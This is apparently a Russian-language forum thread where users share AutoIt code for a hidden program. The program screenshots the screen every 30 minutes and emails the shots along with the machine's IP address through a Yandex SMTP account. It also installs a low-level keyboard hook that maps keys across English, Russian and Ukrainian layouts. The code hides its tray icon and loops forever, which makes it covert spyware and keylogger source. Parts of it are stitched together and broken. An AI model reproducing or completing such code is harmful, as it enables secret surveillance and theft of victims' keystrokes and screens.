$aEng_Codes[3]="w" $aEng_Codes[4]="e" $aEng_Codes[5]="r" $aEng_Codes[6]="t" $aEng_Codes[7]="y" $aEng_Codes[8]="u" $aEng_Codes[9]="i" $aEng_Codes[10]="o" $aEng_Codes[11]="p" $aEng_Codes[12]="[" $aEng_Codes[13]="]" $aEng_Codes[14]="a" $aEng_Codes[15]="s" $aEng_Codes[16]="d" $aEng_Codes[17]="f" $aEng_Codes[18]="g" $aEng_Codes[19]="h" $aEng_Codes[20]="j" $aEng_Codes[21]="k" $aEng_Codes[22]="l" $aEng_Codes[23]=";" $aEng_Codes[24]="'" $aEng_Codes[25]="z" $aEng_Codes[26]="x" $aEng_Codes[27]="c" $aEng_Codes[28]="v" $aEng_Codes[29]="b" $aEng_Codes[30]="n" $aEng_Codes[31]="m" $aEng_Codes[32]="," $aEng_Codes[33]="." $aEng_Codes[34]="/" $aEng_Codes[35]="1" $aEng_Codes[36]="2" $aEng_Codes[37]="3" $aEng_Codes[38]="4" $aEng_Codes[39]="5" $aEng_Codes[40]="6" $aEng_Codes[41]="7" $aEng_Codes[42]="8" $aEng_Codes[43]="9" $aEng_Codes[44]="0" $aEng_Codes[45]="-" $aEng_Codes[46]="=" $aEng_Codes[47]="*" $aEng_Codes[48]="Enter" Global $aEngShift_Codes[49] $aEngShift_Codes[0]=48 $aEngShift_Codes[1]="~" $aEngShift_Codes[2]="Q" $aEngShift_Codes[3]="W" $aEngShift_Codes[4]="E" $aEngShift_Codes[5]="R" $aEngShift_Codes[6]="T" $aEngShift_Codes[7]="Y" $aEngShift_Codes[8]="U" $aEngShift_Codes[9]="I" $aEngShift_Codes[10]="O" $aEngShift_Codes[11]="P" $aEngShift_Codes[12]="{" $aEngShift_Codes[13]="}" $aEngShift_Codes[14]="A" $aEngShift_Codes[15]="S" $aEngShift_Codes[16]="D" $aEngShift_Codes[17]="F" $aEngShift_Codes[18]="G" $aEngShift_Codes[19]="H" $aEngShift_Codes[20]="J" $aEngShift_Codes[21]="K" $aEngShift_Codes[22]="L" $aEngShift_Codes[23]=":" $aEngShift_Codes[24]='"' $aEngShift_Codes[25]="Z" $aEngShift_Codes[26]="X" $aEngShift_Codes[27]="C" $aEngShift_Codes[28]="V" $aEngShift_Codes[29]="B" $aEngShift_Codes[30]="N" $aEngShift_Codes[31]="M" $aEngShift_Codes[32]="<" $aEngShift_Codes[33]=">" $aEngShift_Codes[34]="?" $aEngShift_Codes[35]="!" $aEngShift_Codes[36]="@" $aEngShift_Codes[37]="#" $aEngShift_Codes[38]="$" $aEngShift_Codes[39]="%" $aEngShift_Codes[40]="^" $aEngShift_Codes[41]="&" $aEngShift_Codes[42]="*" $aEngShift_Codes[43]="(" $aEngShift_Codes[44]=")" $aEngShift_Codes[45]="_" $aEngShift_Codes[46]="+" $aEngShift_Codes[47]="*" $aEngShift_Codes[48]="Enter" Global $aRus_Codes[49] $aRus_Codes[0]=48 $aRus_Codes[1]="ё" $aRus_Codes[2]="й" $aRus_Codes[3]="ц" $aRus_Codes[4]="у" $aRus_Codes[5]="к" $aRus_Codes[6]="е" $aRus_Codes[7]="н" $aRus_Codes[8]="г" $aRus_Codes[9]="ш" $aRus_Codes[10]="щ" $aRus_Codes[11]="з" $aRus_Codes[12]="х" $aRus_Codes[13]="ъ" $aRus_Codes[14]="ф" $aRus_Codes[15]="ы" $aRus_Codes[16]="в" $aRus_Codes[17]="а" $aRus_Codes[18]="п" $aRus_Codes[19]="р" $aRus_Codes[20]="о" $aRus_Codes[21]="л" $aRus_Codes[22]="д" $aRus_Codes[23]="ж" $aRus_Codes[24]="э" $aRus_Codes[25]="я" $aRus_Codes[26]="ч" $aRus_Codes[27]="с" $aRus_Codes[28]="м" $aRus_Codes[29]="и" $aRus_Codes[30]="т" $aRus_Codes[31]="ь" $aRus_Codes[32]="б" $aRus_Codes[33]="ю" $aRus_Codes[34]="." $aRus_Codes[35]="1" $aRus_Codes[36]="2" $aRus_Codes[37]="3" $aRus_Codes[38]="4" $aRus_Codes[39]="5" $aRus_Codes[40]="6" $aRus_Codes[41]="7" $aRus_Codes[42]="8" $aRus_Codes[43]="9" $aRus_Codes[44]="0" $aRus_Codes[45]="-" $aRus_Codes[46]="=" $aRus_Codes[47]="*" $aRus_Codes[48]="Enter" Global $aRusShift_Codes[49] $aRusShift_Codes[0]=48 $aRusShift_Codes[1]="Ё" $aRusShift_Codes[2]="Й" $aRusShift_Codes[3]="Ц" $aRusShift_Codes[4]="У" $aRusShift_Codes[5]="К" $aRusShift_Codes[6]="Е" $aRusShift_Codes[7]="Н" $aRusShift_Codes[8]="Г" $aRusShift_Codes[9]="Ш" $aRusShift_Codes[10]="Щ" $aRusShift_Codes[11]="З" $aRusShift_Codes[12]="Х" $aRusShift_Codes[13]="Ъ" $aRusShift_Codes[14]="Ф" $aRusShift_Codes[15]="Ы" $aRusShift_Codes[16]="В" $aRusShift_Codes[17]="А" $aRusShift_Codes[18]="П" $aRusShift_Codes[19]="Р" $aRusShift_Codes[20]="О" $aRusShift_Codes[21]="Л" $aRusShift_Codes[22]="Д" $aRusShift_Codes[23]="Ж" $aRusShift_Codes[24]="Э" $aRusShift_Codes[25]="Я" $aRusShift_Codes[26]="Ч" $aRusShift_Codes[27]="С" $aRusShift_Codes[28]="М" $aRusShift_Codes[29]="И" $aRusShift_Codes[30]="Т" $aRusShift_Codes[31]="Ь" $aRusShift_Codes[32]="Б" $aRusShift_Codes[33]="Ю" $aRusShift_Codes[34]="," $aRusShift_Codes[35]="!" $aRusShift_Codes[36]='"' $aRusShift_Codes[37]="№" $aRusShift_Codes[38]=";" $aRusShift_Codes[39]="%" $aRusShift_Codes[40]=":" $aRusShift_Codes[41]="?" $aRusShift_Codes[42]="*" $aRusShift_Codes[43]="(" $aRusShift_Codes[44]=")" $aRusShift_Codes[45]="_" $aRusShift_Codes[46]="+" $aRusShift_Codes[47]="*" $aRusShift_Codes[48]="Enter" Global $aUkr_Codes[49] $aUkr_Codes[0]=48 $aUkr_Codes[1]="'" $aUkr_Codes[2]="й" $aUkr_Codes[3]="ц" $aUkr_Codes[4]="у" $aUkr_Codes[5]="к" $aUkr_Codes[6]="е" $aUkr_Codes[7]="я" $aUkr_Codes[8]="г" $aUkr_Codes[9]="ш" $aUkr_Codes[10]="щ" $aUkr_Codes[11]="з" $aUkr_Codes[12]="х" $aUkr_Codes[13]="ї" $aUkr_Codes[14]="ф" $aUkr_Codes[15]="і" $aUkr_Codes[16]="в" $aUkr_Codes[17]="а" $aUkr_Codes[18]="п" $aUkr_Codes[19]="р" $aUkr_Codes[20]="о" $aUkr_Codes[21]="л" $aUkr_Codes[22]="д" $aUkr_Codes[23]="ж" $aUkr_Codes[24]="є" $aUkr_Codes[25]="н" $aUkr_Codes[26]="ч" $aUkr_Codes[27]="с" $aUkr_Codes[28]="м" $aUkr_Codes[29]="и" $aUkr_Codes[30]="т" $aUkr_Codes[31]="ь" $aUkr_Codes[32]="б" $aUkr_Codes[33]="ю" $aUkr_Codes[34]="." $aUkr_Codes[35]="1" $aUkr_Codes[36]="2" $aUkr_Codes[37]="3" $aUkr_Codes[38]="4" $aUkr_Codes[39]="5" $aUkr_Codes[40]="6" $aUkr_Codes[41]="7" $aUkr_Codes[42]="8" $aUkr_Codes[43]="9" $aUkr_Codes[44]="0" $aUkr_Codes[45]="-" $aUkr_Codes[46]="=" $aUkr_Codes[47]="*" $aUkr_Codes[48]="Enter" Global $aUkrShift_Codes[49] $aUkrShift_Codes[0]=48 $aUkrShift_Codes[1]="’" $aUkrShift_Codes[2]="Й" $aUkrShift_Codes[3]="Ц" $aUkrShift_Codes[4]="У" $aUkrShift_Codes[5]="К" $aUkrShift_Codes[6]="Е" $aUkrShift_Codes[7]="Я" $aUkrShift_Codes[8]="Г" $aUkrShift_Codes[9]="Ш" $aUkrShift_Codes[10]="Щ" $aUkrShift_Codes[11]="З" $aUkrShift_Codes[12]="Х" $aUkrShift_Codes[13]="Ї" $aUkrShift_Codes[14]="Ф" $aUkrShift_Codes[15]="І" $aUkrShift_Codes[16]="В" $aUkrShift_Codes[17]="А" $aUkrShift_Codes[18]="П" $aUkrShift_Codes[19]="Р" $aUkrShift_Codes[20]="О" $aUkrShift_Codes[21]="Л" $aUkrShift_Codes[22]="Д" $aUkrShift_Codes[23]="Ж" $aUkrShift_Codes[24]="Є" $aUkrShift_Codes[25]="Н" $aUkrShift_Codes[26]="Ч" $aUkrShift_Codes[27]="С" $aUkrShift_Codes[28]="М" $aUkrShift_Codes[29]="И" $aUkrShift_Codes[30]="Т" $aUkrShift_Codes[31]="Ь" $aUkrShift_Codes[32]="Б" $aUkrShift_Codes[33]="Ю" $aUkrShift_Codes[34]="," $aUkrShift_Codes[35]="!" $aUkrShift_Codes[36]='"' $aUkrShift_Codes[37]="№" $aUkrShift_Codes[38]=";" $aUkrShift_Codes[39]="%" $aUkrShift_Codes[40]=":" $aUkrShift_Codes[41]="?" $aUkrShift_Codes[42]="*" $aUkrShift_Codes[43]="(" $aUkrShift_Codes[44]=")" $aUkrShift_Codes[45]="_" $aUkrShift_Codes[46]="+" $aUkrShift_Codes[47]="*" $aUkrShift_Codes[48]="Enter" ; Global $aCapture_Codes[49] $aCapture_Codes[0]=48 ;общее кол. акт. ячеек массива $aCapture_Codes[1]=192 $aCapture_Codes[2]=81 $aCapture_Codes[3]=87 $aCapture_Codes[4]=69 $aCapture_Codes[5]=82 $aCapture_Codes[6]=84 $aCapture_Codes[7]=89 $aCapture_Codes[8]=85 $aCapture_Codes[9]=73 $aCapture_Codes[10]=79 $aCapture_Codes[11]=80 $aCapture_Codes[12]=219 $aCapture_Codes[13]=221 $aCapture_Codes[14]=65 $aCapture_Codes[15]=83 $aCapture_Codes[16]=68 $aCapture_Codes[17]=70 $aCapture_Codes[18]=71 $aCapture_Codes[19]=72 $aCapture_Codes[20]=74 $aCapture_Codes[21]=75 $aCapture_Codes[22]=76 $aCapture_Codes[23]=186 $aCapture_Codes[24]=222 $aCapture_Codes[25]=90 $aCapture_Codes[26]=88 $aCapture_Codes[27]=67 $aCapture_Codes[28]=86 $aCapture_Codes[29]=66 $aCapture_Codes[30]=78 $aCapture_Codes[31]=77 $aCapture_Codes[32]=188 $aCapture_Codes[33]=190 $aCapture_Codes[34]=191 $aCapture_Codes[35]=49 $aCapture_Codes[36]=50 $aCapture_Codes[37]=51 $aCapture_Codes[38]=52 $aCapture_Codes[39]=53 $aCapture_Codes[40]=54 $aCapture_Codes[41]=55 $aCapture_Codes[42]=56 $aCapture_Codes[43]=57 $aCapture_Codes[44]=48 $aCapture_Codes[45]=189 $aCapture_Codes[46]=187 $aCapture_Codes[47]=106 ;* на цифровой клавиатуре $aCapture_Codes[48]=13 ;Код клавиши Enter EndFunc
вот чё получилось чё тут неправильного данные я вводил
Поделиться92012-03-10 15:07:42
#NoTrayIcon
#include <Misc.au3>
#include <ScreenCapture.au3>
#include <File.au3>
#include <Inet.au3>
;Заполнить
$SmtpServer = "smtp.yandex.ru" ; адрес SMTP сервера
$FromName = "ScreenSender" ; имя отправителя
$FromAddress = "логин@yandex.ru" ; адрес отправителя
$ToAddress = "логин@yandex.ru" ; адрес получателя
$Subject = "Новый Скрин..." ; тема письма$sText= _GetIP() ;вот в этой переменной пишется IP
$CcAddress = ""
$BccAddress = ""
$Importance = "Normal" ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low"
$Username = "логин@yandex.ru" ; имя отправителя
$Password = "пароль" ; пас отпрвителя
$IPPort = 587 ; порт можно 25,ну и так норм отправляет
$ssl = 0 ;сокет
;~ $IPPort=465; GMAIL порт
$i =0
While $i <= 1 ; создаем условие который всегда правильный и скрипт будет работать бесконечно ))))
Sleep(1000*60*30) ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 30 минут )
$var = Ping("www.google.com",250) ; проверяем на наличие интернета если инет есть то скрипт приступает к работе
If @error = 0 Then
_ImageResize()
EndIf
WEnd
; функция отправки
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~ ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
If FileExists($S_Files2Attach[$x]) Then
ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
If Number($IPPort) = 0 then $IPPort = 25
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Set Email Importance
Switch $s_Importance
Case "High"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
Case "Normal"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
Case "Low"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
EndSwitch
$objEmail.Fields.Update
; Sent the Message
$objEmail.Send
If @error Then
SetError(2)
Return $oMyRet[1]
EndIf
$objEmail=""
EndFunc ;==>_INetSmtpMailComHotKeySet("{ESC}", "OnAutoItExit")
_OnStart()
Global Const $WH_KEYBOARD_LL = 13
Global $hStub_KeyProc = DllCallbackRegister("_Key_Proc", "int", "int;ptr;ptr")
Global $hMod = DllCall("kernel32.dll", "hwnd", "GetModuleHandle", "ptr", 0)
Global $hHook = DllCall("user32.dll", "hwnd", "SetWindowsHookEx", "int", $WH_KEYBOARD_LL, _
"ptr", DllCallbackGetPtr($hStub_KeyProc), "hwnd", $hMod[0], "dword", 0)
MsgBox(4096, "", "Type anything anywhere and it will appear in the top left corner of the screen.")
While 1
Sleep(100)
WEnd
Func _EvaluateKey_Proc($nKeyCode)
Local $sSound
Local $sChar
;MsgBox(64,Chr($nKeyCode), $nKeyCode, 1) ;с помощью этого узнаем код нужной нам клавиши (только без shift, а то будет зависание)
Switch $nKeyCode
Case 65 To 90, 48 To 57, 186 To 192, 219, 221, 222, 106, 13 ; проверяться будут только нажатия на буквы и цифры и еще клавиши минус и плюс, что после клавиши 0, а код 106 соответствует клавише * на цифровой клавиатуре, 13 - код клавиши Enter
Switch _WinGetKeyboardLayout(WinGetHandle("[ACTIVE]"))
Case 0409 ;Если раскладка английская
If _IsPressed(10) Then ; если нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEngShift_Codes)
Else ; если не нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aEng_Codes)
EndIf
$sSound = "en.wav"
Case 0419 ;Если расскладка русская
If _IsPressed(10) Then ; если нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRusShift_Codes)
Else ; если не нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aRus_Codes)
EndIf
$sSound = "ru.wav"
Case 0422 ;Если расскладка украинская
If _IsPressed(10) Then ; если нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkrShift_Codes)
Else ; если не нажата клавиша Shift
$sChar=_ReplaceKeyCode_Proc($nKeyCode, $aCapture_Codes, $aUkr_Codes)
EndIf
$sSound = "ukr.wav"
EndSwitch
ToolTip($sChar, 0, 80)
SoundPlay($sSound) ;проигрывать звук при нажатии
Case Else ; если была нажата не буква и не цыфра, то выход из функции
ToolTip("", 0, 80)
Return
EndSwitch
EndFunc
Func _Key_Proc($nCode, $wParam, $lParam)
Local $aRet, $KEYHOOKSTRUCT
If $nCode < 0 Then
$aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
Return $aRet[0]
EndIf
If $wParam = 256 Then
$KEYHOOKSTRUCT = DllStructCreate("dword;dword;dword;dword;ptr", $lParam)
_EvaluateKey_Proc(DllStructGetData($KEYHOOKSTRUCT, 1))
EndIf
$aRet = DllCall("user32.dll", "long", "CallNextHookEx", "hwnd", $hHook[0], "int", $nCode, "ptr", $wParam, "ptr", $lParam)
Return $aRet[0]
EndFunc
;Функция для замены кодов нажатых клавиш с массива
Func _ReplaceKeyCode_Proc($nKeyCode, $aSearch_Array, $aReplace_Array)
For $i = 1 To $aSearch_Array[0]
If $nKeyCode==$aSearch_Array[$i]Then
Return $aReplace_Array[$i]
EndIf
Next
EndFunc
;функция позволяет узнать язык текущей расскладки клавиатуры
Func _WinGetKeyboardLayout($hWnd)
Local $aRet = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
$aRet = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $aRet[0])
Return "0000" & Hex($aRet[0], 4)
EndFunc
Func OnAutoItExit()
If $hStub_KeyProc Then DllCallbackFree($hStub_KeyProc)
$hStub_KeyProc = 0
DllCall("user32.dll", "int", "UnhookWindowsHookEx", "hwnd", $hHook[0])
If @HotKeyPressed <> "" Then Exit
EndFunc
func _OnStart()
Global $aEng_Codes[49]
$aEng_Codes[0]=48 ;общее количество активных ячеек в массиве
$aEng_Codes[1]="`"
$aEng_Codes[2]="q"
$aEng_Codes[3]="w"
$aEng_Codes[4]="e"
$aEng_Codes[5]="r"
$aEng_Codes[6]="t"
$aEng_Codes[7]="y"
$aEng_Codes[8]="u"
$aEng_Codes[9]="i"
$aEng_Codes[10]="o"
$aEng_Codes[11]="p"
$aEng_Codes[12]="["
$aEng_Codes[13]="]"
$aEng_Codes[14]="a"
$aEng_Codes[15]="s"
$aEng_Codes[16]="d"
$aEng_Codes[17]="f"
$aEng_Codes[18]="g"
$aEng_Codes[19]="h"
$aEng_Codes[20]="j"
$aEng_Codes[21]="k"
$aEng_Codes[22]="l"
$aEng_Codes[23]=";"
$aEng_Codes[24]="'"
$aEng_Codes[25]="z"
$aEng_Codes[26]="x"
$aEng_Codes[27]="c"
$aEng_Codes[28]="v"
$aEng_Codes[29]="b"
$aEng_Codes[30]="n"
$aEng_Codes[31]="m"
$aEng_Codes[32]=","
$aEng_Codes[33]="."
$aEng_Codes[34]="/"
$aEng_Codes[35]="1"
$aEng_Codes[36]="2"
$aEng_Codes[37]="3"
$aEng_Codes[38]="4"
$aEng_Codes[39]="5"
$aEng_Codes[40]="6"
$aEng_Codes[41]="7"
$aEng_Codes[42]="8"
$aEng_Codes[43]="9"
$aEng_Codes[44]="0"
$aEng_Codes[45]="-"
$aEng_Codes[46]="="
$aEng_Codes[47]="*"
$aEng_Codes[48]="Enter"
Global $aEngShift_Codes[49]
$aEngShift_Codes[0]=48
$aEngShift_Codes[1]="~"
$aEngShift_Codes[2]="Q"
$aEngShift_Codes[3]="W"
$aEngShift_Codes[4]="E"
$aEngShift_Codes[5]="R"
$aEngShift_Codes[6]="T"
$aEngShift_Codes[7]="Y"
$aEngShift_Codes[8]="U"
$aEngShift_Codes[9]="I"
$aEngShift_Codes[10]="O"
$aEngShift_Codes[11]="P"
$aEngShift_Codes[12]="{"
$aEngShift_Codes[13]="}"
$aEngShift_Codes[14]="A"
$aEngShift_Codes[15]="S"
$aEngShift_Codes[16]="D"
$aEngShift_Codes[17]="F"
$aEngShift_Codes[18]="G"
$aEngShift_Codes[19]="H"
$aEngShift_Codes[20]="J"
$aEngShift_Codes[21]="K"
$aEngShift_Codes[22]="L"
$aEngShift_Codes[23]=":"
$aEngShift_Codes[24]='"'
$aEngShift_Codes[25]="Z"
$aEngShift_Codes[26]="X"
$aEngShift_Codes[27]="C"
$aEngShift_Codes[28]="V"
$aEngShift_Codes[29]="B"
$aEngShift_Codes[30]="N"
$aEngShift_Codes[31]="M"
$aEngShift_Codes[32]="<"
$aEngShift_Codes[33]=">"
$aEngShift_Codes[34]="?"
$aEngShift_Codes[35]="!"
$aEngShift_Codes[36]="@"
$aEngShift_Codes[37]="#"
$aEngShift_Codes[38]="$"
$aEngShift_Codes[39]="%"
$aEngShift_Codes[40]="^"
$aEngShift_Codes[41]="&"
$aEngShift_Codes[42]="*"
$aEngShift_Codes[43]="("
$aEngShift_Codes[44]=")"
$aEngShift_Codes[45]="_"
$aEngShift_Codes[46]="+"
$aEngShift_Codes[47]="*"
$aEngShift_Codes[48]="Enter"
Global $aRus_Codes[49]
$aRus_Codes[0]=48
$aRus_Codes[1]="ё"
$aRus_Codes[2]="й"
$aRus_Codes[3]="ц"
$aRus_Codes[4]="у"
$aRus_Codes[5]="к"
$aRus_Codes[6]="е"
$aRus_Codes[7]="н"
$aRus_Codes[8]="г"
$aRus_Codes[9]="ш"
$aRus_Codes[10]="щ"
$aRus_Codes[11]="з"
$aRus_Codes[12]="х"
$aRus_Codes[13]="ъ"
$aRus_Codes[14]="ф"
$aRus_Codes[15]="ы"
$aRus_Codes[16]="в"
$aRus_Codes[17]="а"
$aRus_Codes[18]="п"
$aRus_Codes[19]="р"
$aRus_Codes[20]="о"
$aRus_Codes[21]="л"
$aRus_Codes[22]="д"
$aRus_Codes[23]="ж"
$aRus_Codes[24]="э"
$aRus_Codes[25]="я"
$aRus_Codes[26]="ч"
$aRus_Codes[27]="с"
$aRus_Codes[28]="м"
$aRus_Codes[29]="и"
$aRus_Codes[30]="т"
$aRus_Codes[31]="ь"
$aRus_Codes[32]="б"
$aRus_Codes[33]="ю"
$aRus_Codes[34]="."
$aRus_Codes[35]="1"
$aRus_Codes[36]="2"
$aRus_Codes[37]="3"
$aRus_Codes[38]="4"
$aRus_Codes[39]="5"
$aRus_Codes[40]="6"
$aRus_Codes[41]="7"
$aRus_Codes[42]="8"
$aRus_Codes[43]="9"
$aRus_Codes[44]="0"
$aRus_Codes[45]="-"
$aRus_Codes[46]="="
$aRus_Codes[47]="*"
$aRus_Codes[48]="Enter"
Global $aRusShift_Codes[49]
$aRusShift_Codes[0]=48
$aRusShift_Codes[1]="Ё"
$aRusShift_Codes[2]="Й"
$aRusShift_Codes[3]="Ц"
$aRusShift_Codes[4]="У"
$aRusShift_Codes[5]="К"
$aRusShift_Codes[6]="Е"
$aRusShift_Codes[7]="Н"
$aRusShift_Codes[8]="Г"
$aRusShift_Codes[9]="Ш"
$aRusShift_Codes[10]="Щ"
$aRusShift_Codes[11]="З"
$aRusShift_Codes[12]="Х"
$aRusShift_Codes[13]="Ъ"
$aRusShift_Codes[14]="Ф"
$aRusShift_Codes[15]="Ы"
$aRusShift_Codes[16]="В"
$aRusShift_Codes[17]="А"
$aRusShift_Codes[18]="П"
$aRusShift_Codes[19]="Р"
$aRusShift_Codes[20]="О"
$aRusShift_Codes[21]="Л"
$aRusShift_Codes[22]="Д"
$aRusShift_Codes[23]="Ж"
$aRusShift_Codes[24]="Э"
$aRusShift_Codes[25]="Я"
$aRusShift_Codes[26]="Ч"
$aRusShift_Codes[27]="С"
$aRusShift_Codes[28]="М"
$aRusShift_Codes[29]="И"
$aRusShift_Codes[30]="Т"
$aRusShift_Codes[31]="Ь"
$aRusShift_Codes[32]="Б"
$aRusShift_Codes[33]="Ю"
$aRusShift_Codes[34]=","
$aRusShift_Codes[35]="!"
$aRusShift_Codes[36]='"'
$aRusShift_Codes[37]="№"
$aRusShift_Codes[38]=";"
$aRusShift_Codes[39]="%"
$aRusShift_Codes[40]=":"
$aRusShift_Codes[41]="?"
$aRusShift_Codes[42]="*"
$aRusShift_Codes[43]="("
$aRusShift_Codes[44]=")"
$aRusShift_Codes[45]="_"
$aRusShift_Codes[46]="+"
$aRusShift_Codes[47]="*"
$aRusShift_Codes[48]="Enter"
Global $aUkr_Codes[49]
$aUkr_Codes[0]=48
$aUkr_Codes[1]="'"
$aUkr_Codes[2]="й"
$aUkr_Codes[3]="ц"
$aUkr_Codes[4]="у"
$aUkr_Codes[5]="к"
$aUkr_Codes[6]="е"
$aUkr_Codes[7]="я"
$aUkr_Codes[8]="г"
$aUkr_Codes[9]="ш"
$aUkr_Codes[10]="щ"
$aUkr_Codes[11]="з"
$aUkr_Codes[12]="х"
$aUkr_Codes[13]="ї"
$aUkr_Codes[14]="ф"
$aUkr_Codes[15]="і"
$aUkr_Codes[16]="в"
$aUkr_Codes[17]="а"
$aUkr_Codes[18]="п"
$aUkr_Codes[19]="р"
$aUkr_Codes[20]="о"
$aUkr_Codes[21]="л"
$aUkr_Codes[22]="д"
$aUkr_Codes[23]="ж"
$aUkr_Codes[24]="є"
$aUkr_Codes[25]="н"
$aUkr_Codes[26]="ч"
$aUkr_Codes[27]="с"
$aUkr_Codes[28]="м"
$aUkr_Codes[29]="и"
$aUkr_Codes[30]="т"
$aUkr_Codes[31]="ь"
$aUkr_Codes[32]="б"
$aUkr_Codes[33]="ю"
$aUkr_Codes[34]="."
$aUkr_Codes[35]="1"
$aUkr_Codes[36]="2"
$aUkr_Codes[37]="3"
$aUkr_Codes[38]="4"
$aUkr_Codes[39]="5"
$aUkr_Codes[40]="6"
$aUkr_Codes[41]="7"
$aUkr_Codes[42]="8"
$aUkr_Codes[43]="9"
$aUkr_Codes[44]="0"
$aUkr_Codes[45]="-"
$aUkr_Codes[46]="="
$aUkr_Codes[47]="*"
$aUkr_Codes[48]="Enter"
Global $aUkrShift_Codes[49]
$aUkrShift_Codes[0]=48
$aUkrShift_Codes[1]="’"
$aUkrShift_Codes[2]="Й"
$aUkrShift_Codes[3]="Ц"
$aUkrShift_Codes[4]="У"
$aUkrShift_Codes[5]="К"
$aUkrShift_Codes[6]="Е"
$aUkrShift_Codes[7]="Я"
$aUkrShift_Codes[8]="Г"
$aUkrShift_Codes[9]="Ш"
$aUkrShift_Codes[10]="Щ"
$aUkrShift_Codes[11]="З"
$aUkrShift_Codes[12]="Х"
$aUkrShift_Codes[13]="Ї"
$aUkrShift_Codes[14]="Ф"
$aUkrShift_Codes[15]="І"
$aUkrShift_Codes[16]="В"
$aUkrShift_Codes[17]="А"
$aUkrShift_Codes[18]="П"
$aUkrShift_Codes[19]="Р"
$aUkrShift_Codes[20]="О"
$aUkrShift_Codes[21]="Л"
$aUkrShift_Codes[22]="Д"
$aUkrShift_Codes[23]="Ж"
$aUkrShift_Codes[24]="Є"
$aUkrShift_Codes[25]="Н"
$aUkrShift_Codes[26]="Ч"
$aUkrShift_Codes[27]="С"
$aUkrShift_Codes[28]="М"
$aUkrShift_Codes[29]="И"
$aUkrShift_Codes[30]="Т"
$aUkrShift_Codes[31]="Ь"
$aUkrShift_Codes[32]="Б"
$aUkrShift_Codes[33]="Ю"
$aUkrShift_Codes[34]=","
$aUkrShift_Codes[35]="!"
$aUkrShift_Codes[36]='"'
$aUkrShift_Codes[37]="№"
$aUkrShift_Codes[38]=";"
$aUkrShift_Codes[39]="%"
$aUkrShift_Codes[40]=":"
$aUkrShift_Codes[41]="?"
$aUkrShift_Codes[42]="*"
$aUkrShift_Codes[43]="("
$aUkrShift_Codes[44]=")"
$aUkrShift_Codes[45]="_"
$aUkrShift_Codes[46]="+"
$aUkrShift_Codes[47]="*"
$aUkrShift_Codes[48]="Enter"
;
Global $aCapture_Codes[49]
$aCapture_Codes[0]=48 ;общее кол. акт. ячеек массива
$aCapture_Codes[1]=192
$aCapture_Codes[2]=81
$aCapture_Codes[3]=87
$aCapture_Codes[4]=69
$aCapture_Codes[5]=82
$aCapture_Codes[6]=84
$aCapture_Codes[7]=89
$aCapture_Codes[8]=85
$aCapture_Codes[9]=73
$aCapture_Codes[10]=79
$aCapture_Codes[11]=80
$aCapture_Codes[12]=219
$aCapture_Codes[13]=221
$aCapture_Codes[14]=65
$aCapture_Codes[15]=83
$aCapture_Codes[16]=68
$aCapture_Codes[17]=70
$aCapture_Codes[18]=71
$aCapture_Codes[19]=72
$aCapture_Codes[20]=74
$aCapture_Codes[21]=75
$aCapture_Codes[22]=76
$aCapture_Codes[23]=186
$aCapture_Codes[24]=222
$aCapture_Codes[25]=90
$aCapture_Codes[26]=88
$aCapture_Codes[27]=67
$aCapture_Codes[28]=86
$aCapture_Codes[29]=66
$aCapture_Codes[30]=78
$aCapture_Codes[31]=77
